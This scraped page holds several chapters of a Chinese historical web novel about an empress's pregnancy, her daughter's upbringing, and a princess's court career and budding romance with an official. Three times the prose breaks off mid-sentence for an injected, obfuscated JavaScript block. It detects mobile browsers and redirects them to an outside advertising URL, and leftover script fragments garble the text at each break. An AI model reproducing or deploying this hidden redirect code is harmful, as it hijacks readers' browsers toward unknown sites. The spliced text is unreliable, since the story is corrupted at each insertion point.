这下可好,西瓜丢了不算,芝麻也没捡着一粒! 就在他们万分焦虑的时候,宫中传出来一个好消息。 姜皇后怀孕了。 ***** 这个孩子来得实在突然。 姜同云和谢怀雵成亲到现在,已经是第七个年头了。虽然中间因为各种各样的事情,两人断断续续分房别居过好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15138195|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长一段时间,但他们都没有刻意做过什么避孕措施。夫妻俩一直没有动静这事,还让朝臣们急得几次想给谢怀雵填充后宫,只不过全都叫谢怀雵给压回去了。 对于没有孩子这件事,姜同云其实是在暗地里庆幸过的。 这一路走来,姜同云经历过多少艰难险阻,才换来了在朝堂上的话语权。要是她过早地怀孕生子,恐怕根本分不出精力,支撑自己走到如今这个位置。 而且姜同云本人,其实也没有考虑过太早怀孕生子这件事情。 即使已经在古代生活了这么多年,姜同云的内里也还保留着现代的刻印。她今年也才二十五岁,这个年纪生孩子,放在现代,甚至都有点嫌早呢。 不过既然现在诸事已定,一切都在往正轨上走,生个孩子也影响不到什么。而且它现在出现,刚好可以拿来堵那些讨厌人的嘴。省得他们一天天没事干,净想着给自己添堵。 如果说,姜同云只是有点“省了麻烦”的小高兴,那对谢怀雵来说,这几乎就是天大的好消息了。 虽然谢怀雵一直觉得,两个人没有孩子也没什么大不了的。横竖宗室里多的是小孩可以挑,不怕后继无人。但当他得知,世上会多出一个与他们俩有关的新生命的时候,谢怀雵才知道,这种喜悦感带来的冲击到底有多强。 嗯,虽然还比不上他家夫人当年承认喜欢自己时那样高兴,但也已经到了大胜晋国的那种程度了。 为了庆祝皇后有孕,谢怀雵自掏腰包,从私库里取了金银布帛,分赏朝臣。 可惜,有些人即使拿了好处,也不干人事。 姜同云有孕的消息传出不久,就有朝臣上书,以这个皇嗣来之不易为由,建议皇后安心在后宫养胎。 这算盘打得,姜同云在椒房殿里都听得一清二楚。 那些人无非就是想借这个机会,再次逼姜同云放弃已经到手的权力呗。 但他们找的这个理由确实很好。 谁都知道,女子产育是一大难关。尤其是在太医说,女子怀孕时如果过度劳累,就容易损伤身体之后,谢怀雵的神经一下就紧绷了起来,开始考虑是不是该让姜同云好好休息一段时间。 看出这种想法的姜同云“啪”地拍了谢怀雵一巴掌:“我现在好得很,还不至于沦落到要躺在床养胎的地步。” 自打跟着邢国夫人练习骑马射箭以后,姜同云就开始注重日常运动了。即使是这两年忙于朝政,她也没有疏于锻炼。 以她目前的身体状况来看,就算老了以后不能像邢国夫人一样张弓上马,那至少也是个健步如飞的健康老太太。 对自己的身体情况很有信心的姜同云,根本就没打算因为怀孕而放弃事业。 见姜同云神色坚定,谢怀雵也只能压下担忧,同意让她继续办公。只是他也提出,一旦姜同云孕期反应太过严重,就要停止工作,好好休息。 姜同云一口答应下来。 好在肚子里的崽崽非常争气,打小就知道不能给妈妈添麻烦。加上这两年锻炼出来的身体素质打底,姜同云的整个孕期都过得非常平顺。 然后,过于平顺的姜同云,在批折子批到一半的时候,发动了。 109. 青陆 立春之日,东风解冻。 连着下了好几天雪的金陵城难得遇上一个好天。 傍晚时分,夕阳坠地。炫目的阳光染得天际金霞荡荡,彩雾绯绯,引得金陵百姓纷纷驻足。 漫天云霞之中,新生儿嘹亮的啼哭声自椒房殿内响起。 专门腾出来的产房内,宫人正在小心地替刚刚生产完的姜同云擦拭身体。 看着她们慢吞吞的动作,谢怀雵一把抢过刚刚拧干的热毛巾:“让开让开,还是我来。” 宫人们正想劝阻,就见半阖着眼睛的皇后娘娘朝她们摆了摆手。于是宫人识趣地退至一旁,干起打下手的工作来。 谢怀雵小心抱起姜同云,尽量避开她的伤口,又轻又快地替她擦拭起来。 理清完毕,看着唇色青白、满脸疲倦的姜同云,谢怀雵心疼地替她掖好被角:“咱们就只要这一个,往后再也不生了。” 听到这话,姜同云微微睁开眼睛,瞥了谢怀雵一眼:“真的?” 其实姜同云也完全不想再生第二个。 别看怀孕的时候,这个崽崽体贴孝顺,从不折腾姜同云;但真到了生的时候,该受的苦一点没少。 生孩子这种经历,姜同云是受不了第二次了。 但…… “我可提醒你,我刚刚生的是个女儿。” “女儿怎么了?”谢怀雵将擦过的毛巾递给宫人,伸手试了试被子里的温度。 确认自家夫人不会被冻到后,他才抬起头来去看姜同云:“夫人能监国掌政,以后咱们的女儿当然也能。” 谢怀雵的语气太过平常,以至于姜同云一时都没能理解他刚刚说了什么。 等消化完这句话,姜同云脑袋里的困倦感也被一扫而空。 她颇有些惊奇地看着谢怀雵:“你知道你刚刚说了什么吗?” “知道啊。”谢怀雵握住了姜同云藏在被子里的手,“咱们辛辛苦苦撑起的朝局,不留给自家女儿还能给谁?” 见他神色淡然,一副理所应当的模样,姜同云终于笑了:“这可不是你想想就能办到的事情哦。” 见她展露笑颜,谢怀雵也高兴起来:“那夫人就尽快养好身体,陪为夫一起努力。” 姜同云挑了挑眉,无情地抽回了自己的手:“我现在没力气,你先去努力吧。” 不等谢怀雵开口,她就闭上了眼睛:“至少先去把你那个头发梳梳好。” 谢怀雵摸了一把自己随手扎起的头发,无奈地笑了:“好。” 今日立春,谢怀雵一早就带着朝臣们到京郊祭祀春神去了。祭祀一结束,他就收到了姜同云正在生产的消息。来不及通知朝臣,他自己先骑马跑了回来。 回来以后,谢怀雵用最快的速度沐浴一番,甚至等不及绞干头发,就跑来椒房殿陪产。到了现在,头发倒是干了,就是显得比较潦草。 被自己夫人嫌弃了的谢怀雵连忙起身,去收拾个人形象了。 谢怀雵前脚刚走,谢含昭就抱着裹在襁褓里的小公主过来了。 看着红彤彤、皱巴巴的小婴儿,姜同云刚刚升起的那点母爱迅速冷却。姜同云皱着眉,锐利点评:“……她好像个小老太哦。” 抱着襁褓的谢含昭顿时哭笑不得:“小孩子都这样的。养一养就好了。” 姜同云本想再吐槽两句,但想到这个崽崽以后要过的苦日子,没良心的亲妈终于生起了一点母爱之心,闭上了她的嘴巴。 谢含昭把孩子交给宫人照料,自己则仔细端详起姜同云的面色来。 见她神色轻松,已经比刚才精神许多,谢含昭便也高兴起来:“大嫂嫂说她过两天再进来,顺便给孩子送些衣物用品。还有钟姐姐和宋姐姐,她俩如今也在赶回金陵来的路上了。” 听到谢含昭提起钟蘅、宋芷二人,姜同云也不由得会心一笑。 她们离开金陵已经快有两年了。 这两年的时间里,她们自越朝最东边的海州出发,沿着边境线一路往西。途中虽然也遇到了不少的困难,但一点也没有打消她们对旅途的热情。去年年中的时候,她们还从安州寄回了两人合作所写的第一本诗词集合。 除了写诗观景之外,钟蘅二人还秘密肩负着替姜同云巡视边境的职责。 靠着她俩寄回来的一封封书信,姜同云和谢怀雵这一年来才能及时发现并解决一些暗藏的矛盾,确保朝廷的安民抚边政策能够被切实推行。 可以说,她们虽在暗处,却为越朝彻底收拢边地做出了不可忽视的贡献。 说起钟蘅她们,姜同云又忍不住想起了如今留在杭州的木樨和柳四娘。 谢怀雵刚登基那会儿,她俩也都被接到了金陵来。但她们实在是适应不了宫中的生活。 姜同云也不想两个陪伴自己多年、名为主仆实则更像朋友的姑娘受到拘束。在征询过她俩的意见后,姜同云给她们准备了一笔钱,送她们回了杭州。 如今柳四娘女承父业,在杭州开起了医馆,专治各种跌打损伤;木樨则盘下了一家绣庄,做起了绣品生意。 虽然就此分离,往后恐怕也见不了几面,彼此之间的联系只能用信纸维持,但只要知道她们过得好,姜同云就觉得,自己在金陵的努力不算白费。 想到这里,姜同云转头看向被宫人抱在怀里的女儿。 夕阳的余晖透过窗棂,照在那只绣着金线的大红襁褓上,蓦然迸发出耀眼的光辉。 姜同云的心变得一片柔软,却跳得更加坚定。 为了她和谢怀雵的抱负,为了更多像钟蘅那样的人能过上自己想要的生活,更是为了这个孩子的将来,她都得做得更多、做得更好。 不过没事的。 她从来就不是孤身一人。 ***** 刚刚出生的孩子还不好正式起名,姜同云便打算给女儿取个乳名先叫着。 但是起名,真的是个很难的事情。 姜同云想的几个,谢怀雵都觉得太普通;谢怀雵取的吧,姜同云又觉得太重,不适合做小名。夫妻俩花费了好几天的功夫,头发都想掉了不少,也没能拿定主意。 最后还是老爷子出马, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15146397|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以曾孙女生于立春,取了“青陆”二字。 谢青陆抓周那天,谢怀雵精心准备了一圈的东西,还故意把一枚雕刻精美的小印章放在了谢青陆的正前方,心里百般祈求,盼望女儿能抓个好兆头。 谁料谢青陆从小不走寻常路,绕着桌子爬了一圈,什么东西都没入眼。最后,她趁着大人们不备,一把抓起宫人忘记收走的印泥盒,然后在众人的惊呼声中,一把将糊满印泥的右手拍到了来抱她的亲爹脸上。 谢青陆三岁的时候,朝臣们又开始暗搓搓地催生催选秀。 当了五年多皇帝、脸皮厚得无人能比的谢怀雵当着满朝文武的面,痛快地答应了选秀,然后厚颜无耻地提出让大臣们把自家适龄的儿子孙子全部送来,供小公主挑选。 这一招果然有用。大受震撼的朝臣被吓得好几年都不敢再提“选秀”二字。 到了四岁那年,谢青陆小朋友结束了她快乐的童年生活,苦哈哈地开始上学。 轮到有早朝的日子,没良心的爹娘下了朝,就会把困得颠来倒去的女儿抱到紫宸殿里隔出来的小书房里,交给专门的老师上课。要是碰上不上早朝的日子,那谢青陆就更惨啦!因为亲爹的爱心叫早服务会来得更早! 谢青陆六岁时,兢兢业业干了一辈子的钱相和章相终于退休。 然而,他俩光荣退休不到三天,臭不要脸的皇帝陛下又亲自登门,把两位老大人聘回去给自己女儿当太傅了。 好在谢青陆虽然总有些稀奇古怪的想法,但大体上是个聪明好学的好孩子。出于爱才之心(和被小朋友短暂的萌化攻击哄骗),两位老大人还是留了下来,开始了一段快乐与痛苦齐飞的日子。 谢青陆七岁那年,朝臣们终于从“选秀”的冲击里缓过劲来,发现事情好像有点不对。 然而不等他们做出应对措施,经过几年喘息、重新缓过劲来的晋国又开始搞事了。 这一年,谢怀雵再次御驾亲征。 三年后,晋国覆灭。 彼时,刚刚满十岁的谢青陆,已经开始跟着自家母上一起批阅奏折了。翻到那封八百里加急送回的捷报后,谢青陆愉快地把里面写着的内容大声念了一遍。 合上奏折后,谢青陆发现,自家那位比亲爹还没良心一点的亲妈,居然失神了。 虽然母后一直致力于“剥削”自己,但良心满满的谢青陆小朋友还是非常关心自己母后的。她担心地推了推出神的姜同云:“母后,发生什么事了吗?” 姜同云回过神来,看着年幼的女儿,忽然笑了。 姜同云一把抱住谢青陆,狠狠地揉乱了她细软的头发:“嗯。是件好事。” 装死了十来年的系统,在听到晋国国都被破、晋国小皇帝和相国公夏鼎具被生擒的消息后,终于点亮了一个新的成就。 “执牛耳者”。 至于最后剩下来的那一个。 看着怀里大声抗议的女儿,姜同云微笑着,轻轻地拍了拍她的后背:“快快长大吧。” 长大后,替我和你父亲,继续看着这片大好河山。 110. 番外一·含昭(1) 夏日炎炎,蝉鸣不断。 谢含昭核对完上个月宫人的月钱数额,把整理好的册子交给宫人,让他们送去内侍省。 坐了一个早上,腰背有点发酸。谢含昭打算起身走动走动。 谁知道才刚站起身来,就有内监进来寻她。 谢含昭认识这个小内监,知道他是在紫宸殿里伺候的,便停下了脚步:“可是皇后娘娘那边有什么事情吩咐?” 小内监对着谢含昭行了一礼:“回禀长公主殿下。许国长公主方才入了宫,欲求见皇后娘娘。但娘娘正在紫宸殿内议事,无暇接待。所以皇后娘娘想请您先帮忙接待一下。” 二姐? 谢含昭眉头微微一皱。 谢怀晟逼宫谋反之后,大公主和四公主都因受到牵连而亡,唯有她这个二姐,靠着投诚谢怀晟,保下一命。 因为没有实际参与到谢怀晟的计划中,所以谢怀晟倒台以后,许国公主也没有受到责罚。甚至谢怀雵晋封谢含昭为长公主的时候,也没有忘了自己这位堂姐,顺带也将她一起晋封了。 也许是知道自己先前投靠谢怀晟的行为是个无法洗去污点,所以新帝即位之后,许国长公主和她府上的所有人都开始缩起脖子做人,生怕哪里做得不好,被人翻起旧账,触了新帝霉头。 这一年多下来,谢含昭有时都记不起自己还有一个二姐了。 想到这里,谢含昭笑着说道:“皇后娘娘不必忧心,这是我应该做的。等会儿就直接让人把二姐请到我这儿来吧。” 小内监走后不久,就有宫人领着许国长公主到了谢含昭这儿。 见到阔别许久的二姐,谢含昭难免升起几分亲情别绪。她主动上前握住了对方的手:“二姐姐今日怎么有空入宫来了?” 许国长公主的面色有一瞬间地不自然,不过很快就被她掩盖了过去。 她笑着反握住谢含昭的手:“我想着,自己有许久都不曾来给皇后娘娘请安,实在太过惫懒。所以今天入宫来探望一下娘娘。” 假话。 跟后宫里的人打了这么久的交道,谢含昭一下就分辨出来,自己这位二姐没说实话。 但谢含昭并没有揭穿对方。 她保持着得体的微笑,一边吩咐宫人送来茶水,一边拉着许国长公主在桌边坐下,两人开始闲话家常。 聊了几句后,许国长公主的神色就变得焦急起来。 谢含昭只作不知,装出一无所觉的模样,继续和她漫无边际地聊些无关紧要的内容。 果不其然,对方按耐不住,率先开了口。 “父皇的其他子女都已经不在人世,如今二姐就只有你一个亲人了。含昭,咱们可千万要互相扶持啊。” 看着申请恳切的许国长公主,谢含昭笑了:“是啊,如今我就只有二姐你一个亲姐姐了。” 就是不知道,自己这个亲姐姐,会拿什么样的事情来坑自己呢。 见谢含昭没有反驳自己,许国长公主的脸色好了许多。她握住谢含昭的手,挤出几分愁苦来:“不瞒你说。二姐今天进宫来,是想求皇后娘娘一件事情。是关于……你那不争气的外甥。” 许国长公主和驸马成亲多年,共育有二子。因其长子年仅五岁便因病夭折,所以许国长公主对剩下的那个儿子一直十分溺爱。 今年,长公主府的这位小公子到了年岁,受其父母之荫,入国子学内读书。 但这位小公子实在不是读书的料。入学不过短短几月,他就称病跑回家好几回,平时考核的成绩也是惨不忍睹。 碍于长公主的面子,国子学的内夫子一直对他多有忍让。谁知道夫子的这种忍让,竟然助长了他的气焰。今天早上,这位小公子因为跟人起了口角,就跟同窗大打出手。夫子和一位路过的吏部官员过去劝架,也被他失手误伤。 这下事情可就闹大了。 都目无尊长到敢打夫子的程度了,这样的学生,要是让他继续留在国子学里,以后别的学生有样学样,那该怎么办! 国子学当即做出决定,要让闹事的学生退学,以儆效尤。 许国长公主夫妻俩亲自去找了国子祭酒,但国子祭酒说什么都不肯给面子,坚持要让他们家的儿子退学。 许国长公主没办法了,这才不得不硬着头皮,来宫里找皇后娘娘说情。 现在看见谢含昭,她立刻想起自己这个妹妹似乎很受帝后喜爱。所以她才会拿亲缘来压谢含昭,希望能以此打动她,帮自己在皇后面前说项。 谢含昭很清楚自己这位二姐的目的。 她轻轻摇了摇扇子:“原来如此。” 见谢含昭神色淡淡,许国长公主连忙道:“含昭,只有你能帮到二姐了!你和皇后娘娘关系好,就帮你外甥说说情吧!” 谢含昭摇了摇头:“二姐,我要是真为了你们好,反倒不该帮你们说情呢。” “或许在二姐看来,皇后娘娘监国是何等风光无限的好事。可实际上,陛下征战在外,皇后娘娘独立支撑,国事上多受文官掣肘。” “国子祭酒是从三品的大员,在文臣中更是多有美誉。倘若皇后娘娘强行插手此事,必定会招致文官反对。一旦事情闹大,皇后娘娘纵是有心相帮,只怕也无力回天啊。” 听到这里,许国长公主呼吸一滞:“那、那我该如何是好?” 谢含昭不紧不慢地说道:“二姐要是真想为外甥筹谋,不妨回去写一封请罪奏折,主动承认过错,让外甥离开国子学。” 许国长公主也不是笨人,立刻就明白了谢含昭的用意:“你这是要我以退为进?可我儿一旦离开了国子学……” 谢含昭笑了:“二姐想让外甥留在国子学,无非就是盼着他将来能得个荫封,谋个前程。现在事已至此,不走是不可能的。二姐不如抓住机会,在陛下和皇后娘娘面前争个体贴恭谨的好印象。时间还长,只要陛下和娘娘还记着二姐,往后别的机会多得是。” 这一番话下来,许国长公主已被彻底劝服。 她不再坚持要见皇后,答谢过谢含昭后,就先出宫去写请罪折子去了。 送走许国长公主,谢含昭也起身离开了屋子。 漫步到紫宸殿时,正好遇到结束议事的朝臣从殿内出来。 看来姜姐姐那里已经结束议事了。时间倒是刚好呢。 谢含昭想着,就往紫宸殿里走去。 毕竟涉及宗亲勋贵和文臣之间的矛盾,谢含昭现在只是暂时安抚住了许国长公主,还是得先跟姜同云那边通个气,才好安排后面的事情。 行至殿外,正巧遇见两个身着浅绯色官服的年轻官员走出来。 其中年长些的那个拉着另一个正在说话:“……寻之,你写的那份预案,可否借我一观?” 寻之? 谢含昭快速扫了一眼那个年轻官员。 这个年纪,这身官服,应该就是去年那位新科状元、三个多月前刚刚升任吏部郎中的裴绎。 谢含昭听姜同云夸过裴绎好几回,但这还是第一次见到裴绎真人。好奇之下,谢含昭忍不住多打量了几眼这位年纪轻轻就已经穿上了绯袍的小裴大人。 嗯……他额头上是怎么回事?跟人打架了吗? 那头,两人的对话还在继续。 裴绎回答道:“自然可以。晚些我给你送过去吧。” “不用不用。你额头上的伤都还没处理呢。刚好等会儿没事,我直接跟你去一趟吏部就行。你也真是倒霉,怎么去国子学一趟,还能不小心把头给磕了呢?” 嗯?国子学? 谢含昭敏锐地捕捉到了关键 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184820|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 词,又朝裴绎的脸上扫了一眼。 啊,那个被路过劝架,却被误伤的倒霉蛋,不会就是他吧。 正想着,那两人已经走至谢含昭近前。 见到谢含昭,两名官员立刻止住话头。 虽没见过面,但他们立刻猜出了谢含昭的身份,恭恭敬敬地行了一礼:“长公主殿下。” 这下,谢含昭清楚地看到了裴绎额角的伤口。 嘶,二姐家那个混小子下手可真重啊! 她冲两人微微点头,简单问候两句后,率先离去。 这边,谢含昭进了紫宸殿,和姜同云讲述了许国长公主求见的事情。那头,裴绎还没走出宫门,就被一个小内监拦了下来。 在听对方说他是奉楚国长公主之命,来给裴大人送伤药的时候,裴绎微微一怔。 看着那只小巧的白瓷药瓶,裴绎眼前浮现出刚刚见过一面的宫装女子的模样来。 他浅浅地笑了起来。 “多谢长公主殿下。” ***** 八月。 临近中秋,边境又有晋国投降、主动提出和谈的好消息传来,金陵城里顿时陷入了一片欢庆氛围之中。 晌午过后,谢含昭和姜同云打过招呼,坐着马车出了宫门。 她今日要去赴雍国夫人府上的宴会。 金陵每年都有各种各样的宴会。尤其是临近中秋和年节的时候,宗室们返回金陵,通常会有一名地位尊崇的夫人出面开办宴会,各家各府就趁这个机会,给家中小辈相看。 今年虽然因为陛下在外未归,宗室们没有被召回金陵,但相亲宴总是不能停的。这不,今年这个重任就移到了在京的雍国夫人身上。 照理来说,姜同云是要在宴会上露个脸的。但和谈在即,近来实在事多,姜同云没办法亲自去给雍国夫人撑场子,就委托了谢含昭代她赴宴。 既是代皇后赴宴,谢含昭自然备受礼遇。所有人见了她都客客气气的,生怕哪里开罪了她这位深受帝后恩宠的长公主殿下。 在这种氛围下,大家自然也都比较拘束。 知道自己在,旁的人恐怕放不开手脚;加上自己如今还未成婚,也不好开口谈论男女嫁娶的事情,谢含昭干脆寻了个借口,带着几名宫人,离开了女眷聚集的水榭。 沿着池上曲折的回廊,谢含昭一路走进了凉亭。 她在亭子里坐下。 隔着一片不算远的湖面,谢含昭望见水榭那边的年轻姑娘们已经开始说笑玩闹了。 谢含昭轻轻摇了摇手里的团扇。 成亲啊…… 比起成亲嫁人,她更想要的,是能够掌握自己命运的权力。 这样的权力,过去的谢含昭不敢奢望;但今时今日,谢含昭觉得自己已经触碰到了它的边缘。 一阵突然响起的喧哗声打断了谢含昭的思绪。 原是今日赴宴的男性宾客们到了。 百无聊赖的谢含昭远远地打量着这些年轻男性,心中暗暗给他们评起分来。 这个长相一般,那个胸无点墨……谢含昭在人群里快速扫视一圈,突然有点替在场的姑娘们感到遗憾:今年的勋贵子弟,质量似乎有些差了。 直到看见走在人群最末的那个身影,谢含昭的视线才停顿下来。 嗯,那位小裴大人也来了啊。 不知道他上次被打的伤好了没。 不过带伤也没事。这一圈看下来,好像也没有别的、比他更出挑的人了。头上那一点小伤,瑕不掩瑜。 正想着,两人的视线猛然相撞。 偷看被抓了个正着,谢含昭干脆大大方方地朝着对方笑了一笑。 岸边的裴绎也笑了。 隔着一重水波和喧闹人群,两人交换了无声的问候。 111. 番外二·含昭(2) 对谢含昭来说,相亲宴上的偶遇只是一个微不足道的小插曲。 甚至可能连插曲都算不上。 宴会结束后,她和那位小裴大人就没再见过面。次年春闱结束后,裴绎更是直接外放。此后六年,谢含昭只在吏部历年的课考单上看到过他的名字。 这位小裴大人确实能力不俗。六年来,每一次的考功评价,他都能拿到上等,其中还有两次评了上上。 所以六年外放结束后,裴绎顺理成章地被调回金陵,重新回到吏部,就任吏部侍郎一职。 直到裴绎回京后,以吏部侍郎的身份,第一次参加紫宸殿的小朝议,两人才再次见面。 六年的时间,确实改变了许多东西。 裴绎已经不是当年那个会因为拉架而被打破额头的小裴大人。六年的地方官生涯磨去了他许多棱角,现在的他温文内敛许多,倒有了几分钱相处事不惊的风采。 但谢含昭的变化,远比裴绎更大。 几年前,随着姜同云彻底在前朝站稳脚跟,需要她经手的政务也急剧增加。替皇后挑选一批合适的专职官员的事情,也就理所应当地被安排了起来。 在姜同云的坚持下,她手下的第一批文书全都是从识文断字的掖庭女史当中选拔。而谢含昭则和雍国夫人一道,负责协助姜同云处理政务。 等朝臣们逐渐接受了女官的存在后,姜同云又开始大力推行女学,并在金陵开设了第一家专门培养女官的学堂。 文采过人、学富五车的雍国夫人被分派去专门负责女学一事;谢含昭则继续留在宫里,带领女官们共同辅佐皇后。 姜同云特意为她俩设置了两个新的官职。虽然新官职只有四品,远比不上她们本身所拥有的爵位和诰命品级,但对谢含昭和雍国夫人来说,这两个官职的意义是非同寻常的。 如今的谢含昭,在身兼中书省职责的同时,还掌管着内侍省的事务,忙起来的时候甚至都没空喝水。 前朝后宫诸多事务的磨砺,让谢含昭褪去了身上最后一丝青涩之气。 她早已不是当年那个被囚禁宫中、靠着一丝倔强和傲气强撑着的五公主,却也不是裴绎记忆中那位温柔和善却又莫名孤寂的楚国长公主。 她锋芒毕露、言辞犀利,在一种紫袍重臣面前,把裴绎的直属上司问得哑口无言。 完全刷新了裴绎对她的印象。 今日帝后召集小朝议,是为了商讨裁撤冗官一事。 越朝立国这么多年,前前后后增设了不少官职,其中还有不少职位是为了荫封所设。这么多年下来,朝廷养着不少光吃饭、不办事的闲人。帝后一致认为当前官职有太多冗杂,应当裁撤一部分,同时还要改一改荫封之法,这样也能节省下不少开支。 但裁撤官职涉及到的利益实在太多。 不说那些勋贵,光就今天坐在紫宸殿里的这些官员,他们哪个不能荫庇子孙?这一改动,他们的后辈必定首当其冲。 哦,至今单身的裴侍郎除外。 帝后要裁官、重改荫封之法的话一出来,在场的官员,除了早就知情的谢含昭和利益无关的裴绎,其他人都变了脸色。 钱相等人倒还坐得住,但牵涉最深的吏部尚书根本就忍不了,当即站出来劝阻。 顺便一提,现在的吏部尚书还是当年那位王大人。 王大人的官运属实不佳。当年皇后刚刚监国,就抓住了他在考课一事上的错漏,狠狠罚了一回吏部,杀鸡儆猴。王大人虽然没被牵连到罢官,但也因为监管不力而遭罚奉。如今这么多年过去,王大人昔日的下属都已经升职做了工部尚书,他却还扎在吏部,不得寸进。 眼看晋升无望,王尚书原本是打算就此认命,老老实实地干完这几年就告老还乡去的。谁能想到,帝后连这最后几年的安稳日子都不肯给他过。 这要是真的改了,他的儿子孙子仕途艰难暂且不提,朝上那些同样利益受损的同僚还不得先找他吏部的麻烦! 所以王大人这才不得不硬着头皮,出来反对。 谢含昭就是抓住了他这一点心理,直截了当地质问王尚书,是否出于私心才反对此策。 面对谢含昭锐利的眼神和强大的气场,王尚书根本不敢否认。 气氛一时有些僵滞。 姜同云拍了拍谢含昭的手,笑着打了圆场:“谢卿误会了。王尚书向来忠君体国,必不是那种因私废公之人。” 谢含昭顺着姜同云搭起的台阶,向头冒虚汗的王尚书告了个罪。 姑嫂俩一唱一和,一顶高帽下来,直接压得王尚书不敢说话。 见无人发声,谢怀雵当场拍板:“裁官和荫封都是大事。吏部回去后先想一份预案出来,给朕和皇后看看。诸卿要是有好的想法,也可以给一并交上来。” 话已至此,算是板上钉钉。 谢怀雵宣布小朝议结束,众人依次退场。 离开紫宸殿后,谢含昭直奔吏部,想调取一份详细的官位表。 她早就想好,这次自己也要提交一份预案上去。 靠着兄嫂才能走到前朝的谢含昭,一直都是帝后最坚定的支持者之一。 尽管参与此次改革一定会受到朝臣们的攻击,但谢含昭这些年挨得骂可一点也不少。何况那些人骂来骂去也不过就是那几句,谢含昭根本不在乎再听一遍。 谁知她去了吏部,王尚书直接称病不肯露面。 最后还是裴绎接待了她。 裴绎不仅给谢含昭找出了她想要的东西,还额外附赠了一份荫封记录。 看着手里的东西,谢含昭一时有些讶异:“裴大人应该知道,我拿这些东西是去做什么的。难道你不怕旁人攻讦吗?” 裴绎笑了:“谢大人都不害怕,我有什么好怕的?” 谢含昭愣了一下,随即露出了浅浅的笑容。 就听裴绎继续说道:“我外放六年,在地方上也见过许多尸位素餐之人。他们大多都是功勋重臣之后,本身并无才干,全靠先祖余荫才能得到官位。就任以后,也不见他们做什么实事,一应公务,竟都付于门客家仆处理。与此同时,还有许多有真才实干之人,只因缺少机会,就一直得不到晋升。” “现在陛下与娘娘有意清除积弊,谢大人肯为此事发声,裴某自当略尽绵力。” 从始至终,他都只称呼谢含昭为“谢大人”,而不像大多数朝臣那样,只管她叫“长公主”或是“殿下”。 谢含昭笑道:“好。既然裴大人愿意帮忙,那我也不多客气。我对吏部之事知之甚少,之后若是再有问题,便来寻裴大人指点。” “好。”裴绎点了点头,忽又露出一个有些促狭的笑容来,“看王尚书的样子,吏部此后怕是要在这件事上吃瓜落。若是裴某不甚受到牵连,还请谢大人千万要在陛下和娘娘面前帮忙美言几句,好叫裴某少受些责罚吧。” 闻言,谢含昭忍俊不禁,当即痛快地答应了下来。 半个多月后,谢含昭上交了一份有关裁撤冗官和重定荫封标准的预案。 是年六月,朝廷正式开始裁官。 ***** 七月底,帝后率领群臣,至围场秋狝。 盛大的仪式结束后,帝后二人带着一队侍卫,策马率先进入了树林。其余众人分散开来,各自行猎。 谢含昭选了一个人少的方向,握着缰绳,指挥马儿溜溜达达地走了进去。 不多时,她就在林中猎到了几只野兔。 谢含昭刚放下弓箭,转头又看见一截鹿尾巴消失在了林间。 此处围场里原本是没有鹿的,全是为了秋狝,才专门采买了一批放入林中,所以鹿的数量非常有限。 谢含昭自然不肯放过这种送上门罕见猎物,当即策马追了上去。 受到惊吓的小鹿拼命逃窜,谢含昭在后头紧追不舍。 骑射的功夫,谢含昭也是从小练起的。她的马术相当不错,即使猎物一直在往林木杂乱的地方钻,也没能甩脱掉谢含昭这个猎手。 但她射箭的准头相对就差了一些。几次瞄准,都因毫厘之差,而与猎物失之交臂。 几番失手,倒激起了谢含昭的好胜心来。她伏低身体,夹紧马腹,再次提速,打算先缩小自己和猎物之间的距离。 眼见就要追上目标,谢含昭突然听见近旁的树林里传来了一声有些耳熟的惊呼。 谢含昭下意识地拉动缰绳,偏离方向。 鹿尾彻底消失在了林间。 谢含昭也不懊恼,循着先前传出声音的方向跑去。 越过一片灌木丛,谢含昭在林间空地里看到了表情惊恐、慌不择路的裴绎,以及……一头撵着他跑的幼年野猪。 谢含昭当即挽弓,射向气势汹汹的小野猪。 这次运气不错,谢含昭一箭命中目标,小野猪当即毙命。 裴绎又乱七八糟地跑了一段,直到发现野猪消失,才手忙脚乱地控制着马匹停下。 知道有人过来,裴侍郎立刻收起了紧张的表情,换上淡定自若的模样,转头看张望起来。 发现是谢含昭后,裴侍郎镇定的面具微微有些破碎:“殿、谢大人?” 谢含昭勒住马匹,好整以暇地看向对方,打趣道:“方才真是……惊险万分呢。” 裴绎抓着缰绳的手一紧,随即无奈地叹了口气:“您都看见了?” 他卸下伪装,颇为不好意思地挠了挠脸:“我不太会骑马,射箭更是不行。刚刚它追着我跑,我有点被吓到了。” 谢含昭有些不解:“即使如此,你为何不带护卫同行?” 听到这话,裴绎更加不好意思了:“带了一个的……但是刚刚走散了。” 谢含昭失笑:“好吧。那你跟着我一起走吧。这里有野猪出没,不太安全,我们还是快些回去的好。” 